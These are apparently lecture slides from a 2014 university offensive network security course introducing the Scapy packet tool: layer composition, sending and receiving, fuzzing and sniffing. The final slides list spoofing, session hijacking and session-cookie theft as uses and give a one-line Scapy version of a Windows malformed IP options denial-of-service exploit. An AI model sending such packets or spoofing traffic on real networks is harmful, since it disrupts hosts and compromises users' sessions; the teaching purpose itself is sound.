Scapy

Offensive Network Security
Florida State University
Spring 2014

Outline

- What is Scapy
- The power of Scapy
- Building packets
- Sending packets
- Extending Scapy

What is Scapy?

- Author: Philippe Biondi, website: www.secdev.org/projects/scapy/
  - 2.2 most stable release
  - Need Python to run
  - Multi-platform (i.e. Linux, Windows, OSX)
- Packet generation/manipulation tool
- Built around libpcap with a Python interface
- Uses idea of ‘supersocket’ to send/receive packets from L2 or L3
- Forge, decode, manipulate packets
- Capture, send packets
- Great tool for understanding network stack without much interference from OS

Scapy Advantages

- Other network tools limited by designers intentions
  - Does the tool interpret the received packet?
  - Does the tool provide all information from received packet?
  - Does the tool allow user to stack multiple layers?
- Tools are limited by design, new need means new/modified tool
- nmap does not provide received packet feedback, interprets received packets for end-user
- nping with high verbosity will provide more feedback but does not allow full manipulation of packet layers
- What tools allow interaction with arbitrary received packets in real-time?
  - Wireshark?
  - tcpdump?
  - ettercap?
  - netcat?

Getting to know Scapy

- Run the Scapy shell: sudo scapy
- Scapy has numerous amounts of defined ‘layers’
  - Ethernet, ARP
  - IP
  - UDP, TCP
  - DHCP, DNS
- Commands in Scapy shell
  - ls() -- list available layers or info on given layer
  - lsc() -- list available functions to be used in Scapy
  - help() -- obtain help on Scapy functions and layers
- Build packets the user *desires*
- Probe once, many interpretations
- Scapy can also be used externally in Python applications

Using Scapy

- Building a packet with multiple layers is easy:
  - `a = IP(proto=0x5)`
  - `a = Ether()/IP()`
  - `a = Ether()/IP()/TCP()`
- The `/` is the composition operator between layers
  - The lower layer can have parameters overridden
  - String can be used as a layer
- View packet contents with `show`, `show2`
  - `IP().show(); IP().show2()`
  - `(Ether()/IP()/TCP()).show(); (Ether()/IP()/TCP()).show2()`
- The `_` allows user to save last result

Scapy Internals

- Provides the use of sockets without user needing to declare sockets
- Defines several internal L2 and L3 socket layers for users
- Uses libpcap/WinPcap and libdnet interface
- `class L3dnetSocket(SuperSocket)` (Linux/Solaris/Unix/Windows)
    - Prepend Ethernet header before sending
    - Receives all packet information
- `class L2dnetSocket(SuperSocket)` (Linux/Solaris/Unix/Windows)
    - User defined Ethernet header before sending
    - Receives all packet information
- Both classes open a RAW_SOCKET using the AF_PACKET interface
    - All headers passed to the user
    - How will this affect TCP header?

Scapy Internals

- Linux has optional use of libpcap and libdnet with following class definitions
- `class L3PacketSocket(SuperSocket)` (Linux)
  - Scapy uses `AF_PACKET` with `SOCK_RAW` option
  - Prepends Ethernet header for user to send
  - All layers provided on recv
- `class L2Socket(SuperSocket)` (Linux)
  - Scapy uses `AF_PACKET` with `SOCK_RAW` option
  - User needs to provide Ethernet header to send
  - All layers provided on recv

Scapy Internals

- Scapy stores configuration properties in `class Conf(ConfClass)`
- Access configuration using global variable `conf`
  - `conf.L2socket`: stores the current Layer2 socket
  - `conf.L3socket`: stores the current Layer3 socket
  - `conf.iface`: stores the current interface to send data
  - `conf.l2types`: stores the different Layer2 values
  - `conf.l3types`: stores the different Layer3 values
  - `conf.route`: stores the routing table
    - View routes
    - Add/Change routes
    - Delete routes

Scapy Layers

- Gives user the ability to manipulate multiple layers of network stack
  - Layer 2: Ethernet, link-layer
  - Layer 3: IP
  - Layer 4: TCP, UDP
  - Layer 5: Sending arbitrary data
- Use ls(<layer>) to view layer properties

```
>>> ls(Ether)
dst        : DestMACField         = (None)
src        : SourceMACField       = (None)
type       : XShortEnumField      = (0)
```

Build Packet Example

```
>>> pkt=IP(dst="www.fsu.edu")/ICMP()
>>> pkt
<IP  frag=0 proto=icmp dst=Net('www.fsu.edu') |<ICMP  |>>
```

We'll run the packet with show and show2 to examine the differences between each function.

Build Packet Example

>>> pkt.show()

```
###[ IP ]###
  version= 4
  ihl= None
  tos= 0x0
  len= None
  id= 1
  flags=
  frag= 0
  ttl= 64
  proto= icmp
  chksum= None
  src= 192.168.73.244
  dst= Net('www.fsu.edu')
  \options\
###[ ICMP ]###
     type= echo-request
     code= 0
     chksum= None
     id= 0x0
     seq= 0x0
```

Build Packet Example

>>> pkt.show2()

```
###[ IP ]###
  version= 4L
  ihl= 5L
  tos= 0x0
  len= 28
  id= 1
  flags=
  frag= 0L
  ttl= 64
  proto= icmp
  chksum= 0xe97b
  src= 192.168.73.244
  dst= 128.186.6.14
  \options\
###[ ICMP ]###
     type= echo-request
     code= 0
     chksum= 0xf7ff
     id= 0x0
     seq= 0x0
```

Scapy Send/Recv

- Scapy gives users ability to send/recv packets using built-in functions to utilize L2 and L3 sockets
  - `send()`: send packets at Layer 3 (prepends Ethernet header)
  - `sendp()`: send packets at Layer 2 (user prepends Ethernet header)
  - `sr()`: send/receive packets at Layer 3
  - `srp()`: send/receive packets at Layer 2
  - `sr1()`: send at layer 3 and receive first answer
  - `srp1()`: send at layer 2 and receive first answer
  - `srflood()`: Flood sent packets at Layer 3 and receive answers
  - `srpflood()`: Flood sent packets at Layer 2 and receive answers
  - `srloop/srploop()`: send packets in loop and receive answers

Send Packet Example

- Let us send our test packet using `send()`

```
>>> send(pkt)
.
Sent 1 packets.
```

- Packet sent, where is the answer?
  - Not received since this does not save answer
  - Was this packet sent using Layer 2 or Layer 3

Send/Recv Packet Example

- Let us send our test packet using `sr()`

```
>>> sr(pkt)
Begin emission:
..Finished to send 1 packets.
.*
Received 4 packets, got 1 answers, remaining 0 packets
(<Results: TCP:0 UDP:0 ICMP:1 Other:0>, <Unanswered: TCP:0 UDP:0 ICMP:0
Other:0>)
```

- Packet sent and answer received
  - We can save the answer to a variable using the _ (i.e. `a = _`)
  - `pkt` will be a tuple of Results and Unanswered

Volatility in Packets

- Fuzzing packet headers could lead to finding vulnerabilities in protocol implementations
- Scapy provides `fuzz()` to manipulate default values with random values
  - `pkt=fuzz(IP());pkt.show2()`
  - `pkt=IP(dst="www.google.com")/fuzz(UDP());pkt.show2()`
- Scapy also provides several functions to provide random values
  - `RandField`, `RandEnum`
  - `RandByte`, `RandShort`, `RandInt`
  - `RandMAC`, `RandIP`
  - `RandString`, `RandTermString`

Volatility in Packets

- Here are some examples
- What values will the following random function produce?
- How many will actually send correctly?

```
pkt = IP(dst=”www.cs.fsu.edu”)/TCP(sport=RandInt())
pkt = IP()/fuzz(TCP(sport=3232))
pkt = IP(dst=”www.cs.fsu.edu”
         proto=RandEnum(0,255))/fuzz(UDP()))
pkt = fuzz(IP()/UDP())
pkt = IP(dst=”www.cs.fsu.edu”)/ICMP()/RandString(255)
```

Sniff Packets

- Well doesn’t Wireshark, TCPDump, etc. sniff packets?
- Yes, but Scapy allows real-time interaction!
- Sniff parameters
  - count: number of packets to capture; 0 is infinite
  - prn: apply function to each sniffed packet; lambda x: x.summary()
  - filter: filter applied to each packet; lambda x: x.haslayer(UDP)
  - iface: network interface to sniff; iface = eth0
- A `PacketList` stores captured packets
- `sniff(count=0, store=1, offline=None, prn=None, filter=None, L2socket=None, timeout=None, opened_socket=None, stop_filter=None, *arg, **karg)`

Sniff Packets Examples

- Here are some sniffing examples:

```
sniff (filter=”tcp”)
sniff (filter=”tcp and host 128.186.6.14”)
sniff (prn = lambda x: x.show2())
```

- `prn` can take a user-defined function

```
def printpkt(p):
   p.show2()
sniff (prn = printpkt, count = 2)
```

Sniff Packets Examples

- We can define a function for `prn` performs deep packet inspection
- This gives the user more real-time control over the packet

```
def printpkt(p):
    if p.haslayer(TCP):
        print p['TCP'].seq

sniff(prn=printpkt)
```

- What is `printpkt` performing?

Scapy Packets Examples

- Well, that is nice, I can print packets with Scapy with a custom function, but what else can do with it?
- DNS Spoofing
- DHCP Spoofing
- ARP Replies
- TCP Session Hijack
- UDP Capture
- Pull out PHPSESSID and try to connect to site
- Some of these attacks will require a MiTM attack
- Some of these attacks use broadcasted packets

Scapy Attack Examples

- MS Windows Malformed IP Options DoS Exploit
  - ~130 lines of code in C
  - http://www.exploit-db.com/exploits/942/
- Scapy:

```
send(IP(dst="remotehost",options="\x02\x27"+"X"*"38"/TCP()
)
```